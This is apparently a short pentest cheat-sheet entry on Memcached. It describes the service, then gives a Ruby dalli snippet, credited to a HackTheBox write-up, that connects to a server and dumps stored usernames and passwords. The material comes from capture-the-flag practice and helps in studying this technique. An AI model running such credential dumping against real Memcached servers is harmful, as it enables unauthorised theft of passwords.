Memcached

Memcached (pronounced variously mem-cash-dee or mem-cashed) is a general-purpose distributed memory-caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.

Ref. Wikipedia

Client

With dalli

Gem: dalli

Dump passwords credentials from Memcached:

require 'dalli'
options = { username: 'usertest', password: 'passwordtest' }
dc = Dalli::Client.new('example.org:11211', options)
usernames = dc.get('username')
puts "Usernames:\n#{usernames}"
passwords = dc.get('password')
puts "\nPasswords:\n#{passwords}"

Ref. Rawsec - Dyplesher - Write-up - HackTheBox